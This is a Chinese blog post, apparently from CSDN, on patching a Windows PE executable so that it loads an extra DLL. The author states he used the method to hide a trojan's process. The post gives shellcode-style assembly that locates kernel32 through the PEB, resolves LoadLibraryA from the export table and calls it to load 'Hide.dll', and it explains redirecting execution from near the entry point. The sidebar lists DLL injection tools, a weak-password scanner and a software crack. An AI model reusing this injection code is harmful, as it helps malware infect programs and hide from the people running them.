扩充PE文件功能

二进制菜鸟之PE文件结构 所谓PE文件就是可执行文件在硬盘中存储是的文件表示,Windows中可执行文件的文件表示的发展途径为com->LE(Linerar executable)->PE(Portable Executable File Formate)。操作系统识别可执行文件的方法是依赖于文件头而不是文件扩展名,如果当前文件格式不符合任何已定义文件头格式则将其按照COM文件格式装入即将整个文件的数据当做代... 阅读详情
作者:rhett 
    
  扩充PE文件功能的方法大概有以下几种:

  1 直接在PE中添加代码 ;这个实现起来比较难,要像病毒一样实现感染和自定位,而且添加的代码比较少, 因为都需要用汇编实现,编写复杂功能代码本身就是很累的事;
  2 添加Dll,扩充功能的代码在Dll中实现。这样做有很多优点。原来的exe文件只需调用LoadLibrary()函数加载Dll就可以;
  3 其他的还有补丁,外挂之类的,因为接触少,所以不敢介绍;

      今天我用加载Dll的方法实现了对一个木马的进程隐藏。进程隐藏的代码我封装到了Dll中,使用pjf介绍
的改写活动进程链表方法,使自身进程脱链实现隐藏。代码这里不公开;

      着重要说的是怎么修改PE文件。思路就是添加代码进去使它调用LoadLibrary()函数加载我的Dll。首先想到是修改IAT表,但这样不够灵活,因为IAT表是在进程创建时是系统动态添加的。所以考虑找到LoadLibrary()在 进程空间的地址,然后直接call函数地址实现;

      首先要找到kernel32.dll的加载基地址,这个很简单了,看下面的代码。病毒,shellcode里大多这样实现,通过PEB获得kernel32.dll基地址

      mov eax,fs:30h
      mov eax,[eax+0Ch]
      mov esi,[eax+1Ch]
      lodsd
      mov ebp,[eax+8]

      后面要做的是查找LoadLibrary()地址

      mov eax,[ebp+3Ch]
      mov edx,[ebp+eax+78h]
      add edx,ebp
      mov ecx,[edx+18h]
      mov ebx,[edx+20h]
      add ebx,ebp       ;AddressOfNames
search:
      dec ecx
      mov esi,[ebx+ecx*4]
      add esi,ebp

      mov eax,0x64616F4C
      cmp [esi],eax
      jne search
      mov eax,0x7262694C
      cmp [esi+4],eax
      jne search
      mov eax,0x41797261
      cmp [esi+8],eax
      jne search

      mov ebx,[edx+24h]   ;AddressOfNameOrdinals,根据序号计算地址
      add ebx,ebp
      mov cx,[ebx+ecx*2]
      mov ebx,[edx+1Ch]
      add ebx,ebp
      mov eax,[ebx+ecx*4]
      add eax,ebp

      这里有一点要注意,LoadLibrary()实际上有ansi和unicode两个版本,而我们要找得到的是ansi的LoadLibraryA()函数地址,所以函数名比较部分总共比较了3次,12个字符。

    ok,现在LoadLibraryA()函数地址已经保存在eax中,调用方法如下:

      xor ecx,ecx
      push 0x6C6C642E
      push 0x65646948   ;dll文件名进栈,注意字节顺序
      push esp
      call eax
      add esp,0Ch     ;平衡堆栈 昨天晚上居然写成了add esp,12h 这样的低级错误害我调式n久才发现!

    这样基本上能实现dll的加载。另外还有几个小细节:
  1 修改位置。 我选择了在OEP附近进行修改,使用jmp跳转到代码节的空隙处。
  2 代码开始要加上pushad 和 pushfd ,末尾要加上 popfd 和 popsd 。这个自然是保护寄存器环境。
  3 程序跳转时的指令对齐。这个基本上没有困扰我,以前改特征码时积累了些方法。
    另外这样的方法也有局限性,当代码节剩余空间不足时要先扩充节空间或建新节。
    暂时就这些,全当一次PE diy的笔记。
 
手动修改PE文件:修改节表 目前想到的关于修改节表就是新增节和节表移位,其它的改节的读写什么的就改个Flag而已就不说了。以后有新的想法再添加。 1.新增节 现在很多解析PE格式的软件都有添加节的功能,具体代码怎么写,下面就说一下。PE格式结构排布顺序是这样:Dos头->DosStub->NT头->节表->Padding->节内容。 在节表之后因为文件对齐的关系,可能会多出一段00,这一段00就可以用来 阅读详情

相关推荐

Windows PE 第十二章 PE变形技术

PE变形技术     这章东西太多,太细了。这里我只记录了一些重点概念。为后面学习做铺垫。     PE变形:改变PE结构之后,PE加载器依然可以成功加载运行我们的程序。 一 变形常用技术: 结构重叠技术、空间调整技术、数据转移技术、数据压缩技术。 下面是相关概念只是(我只整理重点) 1.结构重叠技术:     结构重叠技术是指在不影响正常性能的前提下,将某些数据结构进行重叠的技术。

天使也掉毛 2543

PE输入表DLL注入

PE输入表DLL注入

944

PE文件节区添加并弹出简单的对话框

PE文件自动添加节区,并弹出一个简单的对话框(可以自己修改成其它的东西)

PE格式文件的代码注入

 PE格式文件的代码注入   本文演示了在不需要重新编译源代码的情况下,怎样向Windows PE(Portable Executable)格式的文件(包括EXE、DLL、OCX)中注入自己的代码。 程序如图:         前言       或许,你想了解一个病毒程序是怎样把自身注入到一个正常的PE文件中的,又或者是,你为了保护某种数据而加密自己的P

谢启东的专栏 8399

PE文件本地DLL注入工具

本工具是通过修改PE文件的OEP位置,让它指向我们插入的代码(调用LoadLibrary函数),从而载入DLL进行程序注入,载入DLL后系统会自动调用DllMain函数,由于修改了OEP,使得我们的代码执行在被注入程序之前,且在同一地址空间里,简直可以为所欲为了。

改写PE文件导入表加载DLL

通过改写PE文件的导入段,实现DLL的加载。PE文件的导入段记录了系统所要加载的DLL名,以及由该DLL所导出的,PE文件中所用到的函数信息。

PE 通过导入表注入 Dll

导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。...

多一份贡献,多一份环保 1293

XCKU060光纤卡学习资料保存:基于kintex UltraScale XCKU060的双路QSFP+光纤PCIe 卡

基于kintex UltraScale XCKU060的双路QSFP+光纤PCIe 卡 一、板卡概述 本板卡系我司自主研发,基于XilinxUltraScaleKintex系列FPGAXCKU060-FFVA1156-2-I架构,支持PCIEGen3x8模式的高速信号处理板卡,搭配两路40GQSFP+接口,两组64-bitDDR4,每组容量8Gbyte,可稳定运行在2400MT/s。板卡具有自控上电顺序,BP...

3075

修改PE文件引入表实现加载DLL

文章目录内容简介DLL结构DLL的编译链接(VS命令行中)DLL的加载使用的DLL源代码PE文件关键结构MZ头NT映像头可选头部引入表IDT、INT、IAT关系代码实现思路关键数据结构节表IDT项验证结果 内容简介 编写Func.dll,并编写一个EXE程序,该程序能够加载Func.dll,并调用Func.dll中的导出函数,在加载Func.dll的时候,会弹出计算器calc.exe。 使用PE...

威化饼的一隅 3879

生存分析机器学习问题

然而,随着人工智能 (AI) 和机器学习 (ML) 的兴起,科学家现在能够开发更复杂的模型,揭示这些数据集中的模式和特征,从而为癌症的生物学、诊断、预后、治疗和预后提供新的见解。病情更重的患者可能接受更强(或更弱)的治疗,导致治疗方案与不良预后(死亡)强相关。数据集中包含失访或研究结束时仍存活的患者(删失数据),他们的真实生存时间未知,仅知道其存活时间不低于观察到的最后一次随访时间。优先选择参数少、结构简单的模型(如带强正则化的线性模型、简单树模型),避免复杂模型(如深度神经网络)。时刻的状态是未知的。

4AM_明朝百晓生 1223

STM32F103用软件I2C读取IP2366电量数据,实测避坑指南(附完整源码)

本文详细介绍了如何使用STM32F103的软件I2C驱动读取IP2366电池管理芯片的电量数据,包括GPIO初始化、I2C时序实现、关键延时优化及常见问题解决方案。通过实测避坑指南和完整源码,帮助开发者快速实现稳定的电量数据读取,适用于嵌入式电池管理系统开发。

weixin_33725722的博客 515

PE文件学习后实践之DLL反射型注入

那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了。这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址。

dawn_ing_的博客 2059

PDPS16.0单机版与SPLMLicenseServer授权避坑指南:从安装到冲突解决

本文详细解析了PDPS16.0单机版的安装与授权流程,重点阐述了如何正确配置SPLMLicenseServer本地许可证服务器以实现软件激活。针对安装过程中常见的许可证冲突问题,提供了清晰的排查思路和解决方案,并介绍了通过设置环境变量等替代授权方法,帮助用户高效避坑,确保Tecnomatix Process Simulate顺利运行。

weixin_29231221的博客 566

通用且简单的扩充和改造PE中的call的功能的方法

技术基础:会编写加壳程序、了解PE结构、X86指令系统。开发工具:MASM、VC++1、我们有时候在改造一个PE的时候,对其中的某些call要做大量的改动,这时候,往往通过手动增加一个节,在这个节中完成这个call的改造,再返回原来的地方继续执行。此法虽然可行,但工作量实在太大,且调试十分不方便。2、“通用简单的方法”之实现原理:  使用jmp far address 和 call far add

1429

STM32F103单片机驱动TM1637数码管显示模块

最近项目中需要用到数码管显示,于是买了一个TM1637芯片驱动的四位数码显示模块,现将调试过程记录一下,方便以后参考。 使用的单片机是STM32F103C8T6最小系统 使用的数码管模块是TM1637四位数码管显示模块 实际运行效果 下面先看一下TM1637和数码管连接的具体线路图 实际使用的模块没有带按键,只用了4个数码管,模块和单片机连接只需要4根线VCC、GND、CLK、DIO。芯片和单片机通信使用的是I2C总线,下面就来说一下如何...

HXYDJ的博客 1万+

win11本地部署openclaw实操第5集-X11图形化界面搭建,让WSL2“看见”世界

本文介绍了在WSL2中实现图形界面(GUI)的方法。由于WSL2默认没有图形界面,需要使用X11服务器作为"翻译显示器",将Linux程序的图形指令渲染到Windows窗口中。推荐使用VcXsrv作为X11服务器,详细说明了其安装和配置步骤,包括选择"One large window"显示模式、禁用访问控制等关键设置。随后在Ubuntu中安装轻量级xfce4桌面环境,并通过设置DISPLAY环境变量将图形输出指向VcXsrv。最终通过startxfce4命令成功在Vc

weixin_44626085的博客 811

[PE结构] 手工给32位PE文件增加一个新节

0x01 去除重定位表 为了更好的理解PE文件结构,首先得了解增加一个节区需要修改什么,本片博客先去除.reloc节区再增加一个新的.new节区。 FileHeader.NumberOfSections 节区数量 OptionalHeaders.SizeOfHeaders PE头的大小(因为增加了一个新的IMAGE_SECION_HEADER) OptionalHeaders.SizeO...

輚至消亡 1837

最优控制 (Optimal Control) 算法详解及案例分析

最优控制是一种通过优化控制输入,使系统在满足约束条件的情况下达到最优性能的控制方法。其目标是最小化或最大化一个性能指标。

闲人编程的博客 2092

PE 与COFF OBJ 文件格式

PE 与COFF OBJ 文件格式一个操作系统的可执行文件格式,从许多角度来看,都是操作系统内建行为的一面镜子。虽然可执行档格式通常并不是一个程序员认为迫切需要学习的东西,但操作系统的许多有用的知识却可以在这个过程中获得。动态联结、加载器行为、以及内存管理,是特别容易在这个学习过程中推理而得的三个主题。在这一章,我要带你走一趟真正的旅游 -- 游览 Portable Executable 文件格式

冷剑魂的专栏——垃圾场 5006

计算机视觉与深度学习 | 基于Matlab的多特征融合可视化指纹识别系统(附完整代码)

此系统展示了一个完整的指纹识别流程,实际应用中可以根据需求进一步优化算法,如改进方向场计算、增加脊线频率特征、使用更精确的匹配算法等。

尘世冰封的专栏 362

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

PE文件重定位表

要链接PE文件中的重定位表的话,我们首先要知道哪些指令需要重定位,还有重定位的算法是怎样的。汇编中有些指令要用到内存地址,并且在编译的时候这些地址就固定在机器码里面了,如果我们程序的实际装入地址与模块的减一装入地址是相同的,那么这个指令就没问题,但是当实际装入地址与建议装入地址不相同时,如果没有重定位就会出问题了。 举个例子,假如我们在程序中写的代码是: mov eax,dword ptr [0...

weixin_43575859的博客 530

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

COFF 与PE文件

C++应用程序在Windows下的编译、链接(二)COFF/PE文件结构  2.1概述 在windows操作系统下,可执行文件的存储格式是PE格式;在Linux操作系统下,可执行文件的存储格式的WLF格式。它们都是COFF格式文件的变种,都是从COFF格式的文件演化而来的。 在windows平台下,目标文件(.obj),静态库文件(.lib)使用COFF格式存储;而可执行文件(.

锄禾日当午 3080

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

在PE中添加,删除SECTION

在PE中添加,删除SECTION这两天空闲,自己写了个添加,删除SECTION的程序,发现里面的技巧很多,需要注意的地方也很多,现把心得写上,希望能给正在学习PE文件的朋友提供方便。关于PE的格式,PE的基本知识,请参看其他相关文章。添加SECTION添加SECTION的前提是在最后一个SECTION与第一个区块之间有足够的空间)添加

push0714的专栏 1025

PE结构-节

首先,节的话有两部分,一部分是节表,另外一部分就是节区了,节表是用于描述节区信息的,而节区呢,简单点说就是数据块。 在上一篇博客中有提及过如何定位节表,重点就是需要根据选项头的大小来定位,这里的话就直接上一点代码吧,前两篇概念较多 PIMAGE_DOS_HEADER pDosHeader = GetDosHeader(); //获取dos头 if (pDosHeader ==...

小喇叭儿滴滴的吹 641

PE知识复习之PE扩大节

              PE知识复习之PE扩大节 一丶为什么扩大节   上面我们讲了,空白区添加我们的代码.但是有的时候.我们的空白区不够了怎么办.所以需要进行扩大节.   扩大节其实很简单.修改节数据对齐后的大小即可. 并且在PE文件中添加0数据进行填充即可. 首先看一下我们的节表 typedef struct _IMAGE_SECTION_HEADER { B...

weixin_30619101的博客 327

关于PE文件新区段的创建

对于为已有的EXE文件加壳,一般我们会创建一个新的区段,在该区段中写入的是外壳代码。   新加一个区段,通常会有三个步骤   1.首先修改PE文件头部信息,NT头部的区段数目,修改OPTIONAL头部的镜像大小   2.向内存中申请一个IMAGE_SECTION_HEADER的内存模型,并修改其各个变量(区块的偏移位置和大小,文件相对虚拟地址和大小)   3.写入文件   现在说下IMA

dasgk的专栏 1858
上一篇: 免杀必备-花指令
下一篇: 浅谈程序脱壳后的优化
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值